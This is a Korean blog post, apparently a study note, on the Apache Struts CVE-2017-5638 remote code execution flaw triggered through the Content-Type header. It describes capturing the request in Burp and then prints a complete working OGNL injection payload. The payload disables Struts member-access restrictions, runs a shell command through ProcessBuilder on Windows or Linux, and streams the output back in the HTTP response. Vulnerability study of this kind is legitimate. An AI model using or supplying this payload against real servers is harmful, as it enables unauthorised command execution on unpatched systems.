
반응형
아파치 스트럿츠는 자바 기반의 프레임워크인데 여기서 발견된 CVE-2017-5638는
2017년에 발견된 취약점으로 현재는 꽤 오래된 취약점이다.
Apache Struts는 Content-Type 헤더에 쿼리를 삽입했을 때
Jakarta Multipart 플러그인에서 잘못된 파싱으로 인해 명령어가 실행된다
이 때 공격 쿼리는 Content-Type 헤더는 OGNL 표현식이라는 것으로 삽입하는데 이 OGNL 표현식은
기존 표현식 보다 더 간단한 표현식으로 자바 객체의 속성을 가져오고 설정할 수 있다고함.
Content-Type: ${(#_='multipart/form-data').
실습환경 구성

페이지에 접근해서 버프로 패킷을 잡아줌


반응형
컨텐츠 타입 헤더가 없다면 직접 작성해주면되는데 OGNL 표현식을 이용한 쿼리는 다음과 같다
%{ ..... } 안에 있는 모든 문자열들이 OGNL 표현식으로 처리되어 실행된다.
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='whoami'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase() .contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)) .(#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse() .getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)) .(#ros.flush())}
위 코드에서 #cmd= 에 해당하는 부분이 명령어를 실행함

반응형
'CVE Study' 카테고리의 다른 글
[Apache Tomcat] CVE-2022-22965 (Spring4Shell) 스프링 RCE 취약점 (0) | 2022.04.18 |
---|---|
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) Part 2 (0) | 2022.03.17 |
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) (0) | 2022.02.15 |
[Apache Tomcat] CVE-2020-9484 (세션 역직렬화) (0) | 2022.02.03 |